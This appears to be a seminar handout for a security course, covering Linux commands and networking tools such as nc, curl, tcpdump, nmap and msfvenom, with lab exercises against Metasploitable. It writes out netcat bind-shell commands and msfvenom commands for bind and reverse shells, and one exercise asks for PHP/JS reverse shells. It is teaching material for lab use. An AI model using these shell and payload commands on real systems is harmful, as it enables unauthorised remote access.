Seminar 2 - A modest set of useful tools

Table of Contents

Basic Linux/bash commands *1*

Common shortcuts in Linux **2**

Common parameters for commands **2**

Execute multiple commands on the same line **3**

Default bash variables **3**

Networking Commands *3*

ping **3**

nc **4**

wget **4**

curl **4**

tcpdump **5**

ftp **5**

nmap **6**

msfvenom **8**

Exercises *8*

Basic Linux/bash commands

Command	Effect
`man <command>`	Manual for `<command>` (alternatively: `<command> --help`)
`cd <path>`	changes the current directory (`cd -` moves to the previous directory)
`ls -la [path]`	displays details about the files in the current directory (or [path], if submitted)
`rm <file>`	deletes the `<file>`
`mkfifo <file>`	creates a "named pipe" file
`head [<file>] [-n <nr>]`	displays the first 10 lines (or `<no>`, if submitted) of the file
`tail [<file>] [-n <nr>]`	displays the last 10 lines (or `<no>`, if submitted) of the file
`cat <file>`	displays the content of a text file
`less <file>`	displays the contents of a text file, allowing navigation in it (/text search "text" on the page; n / p jump to next/previous occurrence; q quit)
`tee <file>`	displays what it receives on stdin and writes to a file at the same time (-a - append, does not overwrite the file)
`cut -d <delim> -f <nr>`	extracts from the input lines, separated by the delimiter (character) `<delim>` , the field of `< no>` -th (e.g. ps|cut -d ' ' -f 1 displays the list of PIDs)

Command	Effect
`sort`	sorts the lines received at stdin and displays them; -u - unique (removes duplicates), -f - ignore case, -r - reverse
`wc -l <file>`	count the lines in the file
`ps aux`	displays the list of processes + details (PID, etc.)
`kill -<signal> <PID>`	sends the signal <signal> to the process with the PID <PID> (e.g. kill -9 1966 , -9 being SIGKILL; kill -l displays the list of signals)
`grep <pattern> [file]`	looks for <pattern> in the data from stdin, respectively in the file if it is transmitted; -P - Perl-compatible regexes
`sed -r s/<pat1>/<pat2>/g`	It changes the regex pattern <pat1> to <pat2> in the data received from stdin and returns it (-r - extended regex syntax)
`find <path> -name `*<pattern>*``	looks for a file containing <pattern> in the name in the <path> directory and in subdirectories
`locate <file>`	searches for a file anywhere on disk using a DB that needs to be updated periodically with the updatedb command
`which <executable>`	search the `$PATH` the first occurrence of an executable (i.e. the one that will be executed)
`export <var>=<value>`	set the variable <var> to the value <value> (it can later be used as $<var>); e.g. export url=google.com; curl $url
`echo <text>`	displays text on the screen. -e interprets escapes (e.g. "\n")
`$(<cmd>) or `<cmd>``	executes the command <cmd> and returns the stdout as text
`if <cmd1>; then <cmd2>; fi`	executes <cmd2> only if <cmd1> has successfully executed
`for <v> in <values>; do <cmd>; done`	executes <cmd> for each value (space-separated or LF) in the enumeration; in <cmd> it can be used as $<v>
`while <cmd1>; do <cmd2>; done`	executes <cmd2> as long as <cmd1> returns success code (<cmd1> can be true , which always returns success)
`chmod <attr> <file>`	Change a file's attributes. ex: chmod +x fis , CHMOD 0777 FIS chown <user>[:<group>] <file> Change the owner of a file
`uname -a`	shows Linux kernel version information
`ifconfig`	shows information about network adapters
`id`	displays information about the current user and the groups they belong to

Common shortcuts in Linux

`Ctrl+Z`	moves the process in the background (fg - resume, ps followed by kill -9 PID to forcibly stop the process)
`Ctrl+\`	kill the current process
`Ctrl+C`	stops the execution of the current command

Common parameters for commands

The following parameters are applicable to most commands in Linux:

`-q`	silent / Quiet mode (does not show details)

`-v`	verbose (shows additional details); Some commands support multiple V's for more details, e.g.: -vvv
`-V (--version)`	show version
`-n`	doesn't do a reverse DNS query (faster)
`-o <file>`	write the result in <file> (instead of stdout)
`N><file>`	redirects a file descriptor to <file> , default N = 1 (stdout)

Note: Most console tools in Linux allow parameter concatenation, e.g. `nc -nlvp80 <=> nc -n -l -v -p 80`.
Standard file descriptors: `&0` = stdin, `&1` = stdout, `&2` = stderr.
Special files:

- `/dev/null` - empty file (redirects to it e.g. stdout to not display it)
- `/dev/zero` - file that "contains" NULLs (0 bytes)
- `/dev/random` - file that "contains" random data

Execute multiple commands on the same line

`<cmd1>; <cmd2>`	`<cmd1>` and `<cmd2>` is executed consecutively, independently
`<cmd1> | <cmd2>`	the two commands are executed simultaneously, the stdout of `<cmd1>` is connected to stdin of the second command
`<cmd1> && <cmd2>`	`<cmd2>` is only run if `<cmd1>` has run successfully
`<cmd1> || <cmd2>`	`<cmd2>` is only executed if `<cmd1>` has NOT been executed successfully

Example: `wget -q url.invalid && echo "ok" || echo "failed"`

Default bash variables

`$USER`	current user
`$EDITOR`	default editor
`$HOME`	the "home" path of the current user
`$HISTSFILE`	the path of the file where the executed commands are logger
`$SHELL`	the path of the current shell

Networking Commands

ping

- send `ICMP ECHO_REQUEST` packets to other machines (check connectivity)
- can be stopped with `Ctrl+C`
- Important parameters:
  - `-c <N>` - send `<N>` requests (sequentially); default: infinite
  - `-s <size>` - send packages of size `<size>` (default: 56)
  - `-t <ttl>` - `IP TTL` (time to live)
  - `-w <timeout>` - global timeout (for all requests)
  - `-W <timeout>` - timeout per request
- Example: `ping -nc3 10.0.0.120`

nc

- writes/reads data over network connections (TCP / UDP), allowing detailed configuration of the connection mode
- Syntax: `nc [parameters] [host] port`
- Important parameters:
  - `-l` - listen on a port (default: connect to a port)
  - `-k` - listen again after the connection is closed
  - `-p <N>` - use the source port <N>
  - `-e <cmd>` - executes the command and redirects stdin/stdout over the network (this parameter is disabled in recent versions of Linux)
  - `-C` - sends CRLF as EOL (instead of LF)
  - `-u` – UDP
  - `-w` <timeout>

Examples:

- `nc -nlv 80`
- remote shell: `nc -nlvp1234 -e /bin/bash`
- remote shell without -e :
  - `rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc -l 1234 > /tmp/f`
- `ncat` is an alternative to NC from NMAP authors that additionally allows traffic encryption and filtering of IPs that can connect to the socket, among other things

wget

- download resources from a `URL` (`HTTP/FTP`)
- syntax: `wget [parameters] URL`
- important parameters:
  - `-O <file>` - saves the result in the file <file> (-O- => stdout, default: deduced from the URL)
  - `-no-check-certificate` - does not attempt to validate the digital certificate
  - `-t N` - stops after N attempts (default: 3)
  - `-T N` - N seconds timeout
  - `-m` - mirror (recursively downloads a website)
  - `-k` - adapts links to point to local pages (with `-m`)
  - `-p` - downloads a page's dependencies (`.css, .js,` etc.)
  - `-nd` - does not create the directory structure (with `-m` puts the result directly in the current directory)
- Examples:
  - `wget -qO- -t1 http://google.com`
  - copying a site (mirroring): `wget -mkp http://site.com`

curl

- transfers data to/from a `URL` (`HTTP, FTP, POP3, RTMP, SMB`, etc.); allows more complex operations than wget

- syntax: `curl [parameters] URL`
- important parameters:
  - `-o <file>` - saves the result to the `<file>` file (default: stdout)
  - `-u <user>:<password>` - user/password authentication
  - `-c <file>` - saves cookies in `<file>`
  - `-b <file>` - loads cookies from the `<file>`
  - `-e <url>` - send `<url>` as a referer (`HTTP`)
  - `-d "field1=value1; field2=value2..."` - request POST (default: GET) with the indicated data
  - `-X "<request>"` – performs the query `<request>` instead of the default one
    - e.g.: `curl ftp://site.com/ -X 'DELE file.txt'`
  - `-s` - silent mode (the -q parameter has another effect for curl)
  - `-L` - redirects follow (e.g. `302 HTTP code`)
  - `-T <file>` - file upload

tcpdump

- intercepts network traffic
- syntax: `tcpdump [options] 'filter'`
- important parameters:
  - `-i <nic>` - the network interface on which to make the capture (usually `eth0`)
  - `-w <file>` - saves packages (binary) to file ("capture")
  - `-A` - displays as ASCIIi (filtered)
  - `-e` - display ethernet header
  - `-x` - o displays the contents of the hex encoded packet (-X = hex and ASCII)
  - `-s <nr>` - show maximum <nr> bytes in the packet (0 = all bytes)
  - `-c <count>` - stop <count> after packages
  - `-r <file>` - displays the packets in a capture obtained with -w
- examples of filters: `'tcp port 80'` (HTTP traffic), `'icmp[icmptype] != icmp-echo'` (non-PING ICMP packets), `'tcp[13] & 2 == 2'` (TCP with SYN set), `'dst host 10.1.1.10 and dst port 21'` (FTP commands to 10.1.1.10), `'tcp dst port 80 and (tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354)'` (HTTP POST requests on port 80) etc.
- tcpdump's GUI alternative is called Wireshark and is also available on Windows.

ftp

- interacts with a `FTP` server (file/directory enumeration, download, upload)
- syntax: `FTP <server> [<port>]`
- important parameters:
  - `-p` - passive mode
  - `-n` - DO NOT automatically log in when logging in
- Interactive commands:
  - `binary` - changes the transfer mode to binary (default: text)
  - `cd <dir>` - change directory
  - `get <remote> [<local>]` - downloads a file
  - `mkdir <dir>` - create a directory
  - `quit` - close the connection\

nmap

- scans machines (or entire networks) to get information about available services (open ports)
- syntax: `nmap <scan-type> [parameters] <host-or-subnet>`
- to scan a subnet you can give either a range of IP addresses (e.g. `10.1.1.100-110`) or a mask (e.g. `10.1.1.20/30`)
- scan modes:
  - `default`: TCP Connect (full connection to each port)
  - `-Ss`– SYN (Incomplete Connection, "Stealth")
  - `-Sv`– Version (login + determination of software / version of services)
  - `-sU` - UDP scan
  - `-sn` - PING (no scanning ports)
- Important parameters:
  - `-A` - OS detection/service version/script scanning/traceroute
  - `-Pn` – consider all hosts online (don't do preliminary PING query)
  - `-O` - SO detection (included in `-A`)
  - `-T<#>` - timeout <#> (1-5, 5 = maximum speed); recommended: -T4 for remote hosts, -T5 local network, default: -T3)
  - `-oN/oX/oG/oA <file>` - the output format (normal/XML/grep-able/all) in the given file (extensions added automatically)
  - `--script <name>` - executes the NSE script <name> (more parameters can be given `--script`)
  - `--script-args=<parameters> -` send parameters to the run script
  - ex: `--script smb-check-vulns --script-args=unsafe=1`
  - `-sC` - executes all standard nmap scripts (included in -A)
- Scan ports:
  - `-F` - "fast" mode (scans fewer ports, 100 instead of 1000)
  - `-p<ports>` - explicit list of ports for scanning (can be a range, e.g. -p20-30 , comma-separated list, e.g. `-p21,80,443-445`; or all: -p-)
  - `--top-ports <N> -` scans the most common <N> ports (default: 1000)
- Important scripts: `smb-os-discovery , smb-check-vulns , smb-enum-users , http-enum , http-robots , nfs-ls, traceroute-geolocation` (all scripts can be found in /usr/share/nmap/scripts)
- Examples:
  - Quick scan of a subnet with service and OS identification:
    `nmap -v -sV -A -T4 -F -n -Pn -oG nmap-scan 10.0.0.100-120`
  - quick scan of a host:
    `nmap -v -sV -A -T4 -n -Pn 10.0.0.20`
- Relevant portions of a scan result:

```
[...]
Scanning 10.0.0.20 [1000 ports]
Discovered open port 25/tcp on 10.0.0.20
Discovered open port 3306/tcp on 10.0.0.20
Discovered open port 21/tcp on 10.0.0.20
Discovered open port 23/tcp on 10.0.0.20
Discovered open port 80/tcp on 10.0.0.20
Discovered open port 445/tcp on 10.0.0.20
Discovered open port 5900/tcp on 10.0.0.20
Discovered open port 139/tcp on 10.0.0.20
Discovered open port 111/tcp on 10.0.0.20
```

```
Discovered open port 22/tcp on 10.0.0.20
Discovered open port 53/tcp on 10.0.0.20
Discovered open port 512/tcp on 10.0.0.20
Discovered open port 514/tcp on 10.0.0.20
Discovered open port 1099/tcp on 10.0.0.20
Discovered open port 8180/tcp on 10.0.0.20
Discovered open port 2121/tcp on 10.0.0.20
Discovered open port 1524/tcp on 10.0.0.20
Discovered open port 513/tcp on 10.0.0.20
Discovered open port 5432/tcp on 10.0.0.20
Discovered open port 6667/tcp on 10.0.0.20
Discovered open port 2049/tcp on 10.0.0.20
Discovered open port 6000/tcp on 10.0.0.20
Discovered open port 8009/tcp on 10.0.0.20
[...]
Not shown: 977 closed ports
PORT STATE SERVICE  VERSION
21/TCP Open FTP     vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/TCP Open SSH     OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
23/TCP Open Telnet  Linux telnetd
25/TCP Open SMTP    Postfix smtpd
|_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000,
VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN,
| ssl-cert: Subject: commonName=ubuntu804-
base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no
such thing outside US/countryName=XX
| Issuer: commonName=ubuntu804-
base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no
such thing outside US/countryName=XX
| Public Key type: rsa
| Public Key bits: 1024
| Signature Algorithm: sha1WithRSAEncryption
| Not valid before: 2010-03-17T14:07:45
| Not valid after: 2010-04-16T14:07:45
| MD5:    DCD9 AD90 6C8F 2F73 74AF 383B 2540 8828
|_SHA-1: ed09 3088 7066 03bf d5dc 2373 99b4 98da 2d4d 31c6 |_ssl-date:
2016-09-21T11:01:32+00:00; -1s from scanner time.
53/TCP Open Domain  ISC BIND 9.4.2
| DNS-NSID:
|_ bind.version: 9.4.2
80/TCP Open HTTP    Apache httpd 2.2.8 ((Ubuntu) DAV/2)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2
|_http-title: Metasploitable2 - Linux
[...]
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian) | NetBIOS computer name:
| Workgroup: WORKGROUP
|_ System time: 2016-09-21T07:01:31-04:00 [...]
```

msfvenom

Caution: syntax may have changed with newer versions!

- console application from the Metasploit package that generates exploit payloads for a wide variety of platforms
- syntax: `msfvenom [options] [param1=val1 param2=val2 ...]`
- important parameters:
  - `-p <payload>` - the action of the payload (e.g. `windows/exec`; full list: `msfvenom -l payloads`)
  - `-e <encoder>` - encoding (we will prefer `x86/shikata_ga_nai` for `x86`, list: `msfvenom -l encoders`)
  - `-f <format>` - the format of the result (we will prefer python to use the payloads from the code; list: --help-formats)
  - `-b <badchars>` - forbidden characters (e.g. -b "\x00\x0A\x0D")
  - `-s <size>` - available space (maximum payload size)
  - `-i <cnt>` - number of encoding iterations (with the encoder chosen)
  - `-v <variable>` - variable name
  - `-n <size>` - prefix with a NOP-byte sled
  - `-a <arch>` - architecture (usually it can be deduced automatically from -p)
  - `--platform <plat>` - platform (usually it can be deduced automatically from -p)
  - `--payload-options` - displays the parameters of a payload (selected with -p)
- Examples:
  - bind shell without NULLs for Windows 32 bits:

```
msfvenom -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 1 -f python
```

  - ELF binary for Linux x86 that reverses the shell to IP 10.1.1.1, port 80:

```
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.1.1.1 LPORT=80 -f elf -o bin; chmod +x bin
```

Exercises

1. Using only the nmap, [grep] and [cut] commands, get the IP addresses of machines in a subnet (e.g. 10.200.99.0/24) that respond to the ping command (one address per line) in the "live-hosts.lst" file.
2. Run the nc command so that the following wget command displays (only) the text "Welcome!" however many times it's run: wget -qO- localhost:1234 .
3. Transfer the wget executable file between two instances of nc (server/client); run it from where it was transferred to verify that it was transferred correctly.
4. You get a screenshot of Wireshark containing exclusively DHCP packets (an IP address retrieval session) and another screenshot containing a three-way TCP handshake.
5. Display the cookies sent in each HTTP GET request initiated from your computer. How can the solution be adapted to intercept HTTPS traffic as well?
6. Explain how the HTTP POST request filter given as an example works in the tcpdump section.
7. Connect to the FTP service on port 21 of the Metasploitable machine with the username "service" and password "service", create the directory "test1", get the directory list on the server and delete the directory back. Solve first (a) using only the nc command, then (b) only the ftp command.
8. Scan the Metasploitable machine and generate a list containing (only) the ports and software/version of each exposed service. Example:

- 21/TCP vsFTPD 2.3.4
- 22/tcp OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
- 23/tcp Linux telnetd
- [...]

9. Perform a nmap scan on TCP ports 21, 53, 80, 1999 and then one on UDP (the same ports); track both scans with tcpdump or wireshark and explain the differences between the scan modes. What effect would blocking ICMP packets by a firewall between the two machines have?
10. Generate PHP and JS scripts that connect to IP 10.0.0.20, port 443, and provide a shell.

Notes:

- to solve some of the above exercises you will need a virtual environment to run the commands safely, i.e. **you should not solve the exercises on a live machine, you should work in a virtual environment** where you can break and test things without special permissions
- Metasploitable is a vulnerable virtual machine that can be found on https://www.vulnhub.com
- see for instance, https://www.vulnhub.com/lab/, for help in setting up a virtual environment
- some machine on which you can practice, you can find these machines on vulnhub:

Name	Dificulty	Observations
RICKdiculouslyEasy 1	Easy	Really CTFish, Flags, Enumeration, Web, RCE, Bruteforce, Stego, Fun to solve
pWnOS: 2.0 (Pre-Release)	Easy	Realistic, Web, Enumeration, Easy SQLi
SickOs: 1.1	Easy	
SickOs: 1.2	Easy	
Dina: 1.0.1	Easy	Web, Not really original
LazySysAdmin 1.0	Easy	CTFish, Flags, Web, SMB
JIS-CTF	Easy	Not really original, Poor challenges, Bad English, CTFish, Flags, Web, Enumeration
Stapler: 1	Easy	CTFish, Flags, Enumeration, Bruteforce, Web, Rabbit Holes
unknowndevice64: 1	Easy	CTFish, Web, Stego, Bruteforce, Web, Rabbit Holes, Restricted shell
NullByte: 1	Easy	CTFish, Web, Enum, Stego, Fuzzing, SQLi, Interesting Priv Esc
billu: b0x	Easy	
billu: b0x 2	Easy	Enumeration, Web, CVE, Common easy priv esc
pluck: 1	Easy	Realistic, Web, LFI, Outdated software, Not that easy, I would rate medium
Toppo: 1	Easy	Web, Enumeration, Common Priv Esc, Really easy and simple box
g0rmint: 1	Easy	
Misdirection	Easy	Web, Enumeration, Common Priv Esc, Easy and simple box
Hackme 1	Easy	Really really really easy box, Web, Enumeration, Easy SQLi
Hackademic: RTB1	Easy	Realistic, Really Outdated software, Enumeration, Web, Common Priv Esc

Tr0ll: 1	Easy	Really CTFish, Rabbit Holes, Trolling, Enumeration, Web, Trolling again, Basic Priv Esc
Kioptrix: Level 1 (#1)	Easy	Meh, not really original
Kioptrix: Level 1.1 (#2)	Easy	Web, SQLi, RCE
Kioptrix: Level 1.2 (#3)	Easy	Enumeration, Web, CVE, SQLi, RCE, Common priv esc
Kioptrix: Level 1.3 (#4)	Easy	Enumeration, Web, SQLi, Restricted shell, Common priv esc
Kioptrix: 2014 (#5)	Easy	Web, Enumeration, FreeBSD, CVE, LFI, RCE, Common priv esc
Tr0ll: 2	Medium	Kinda stupid CTFish, Rabbit Holes, Trolling, Enumeration, Web, Trolling again, BOF Priv Esc
DeRKnStiNK 1	Medium	CTFish, Flags, Web
covfefe: 1	Medium	CTFish, Flags, Enumeration, Bruteforce, Interesting noob friendly intro to BOF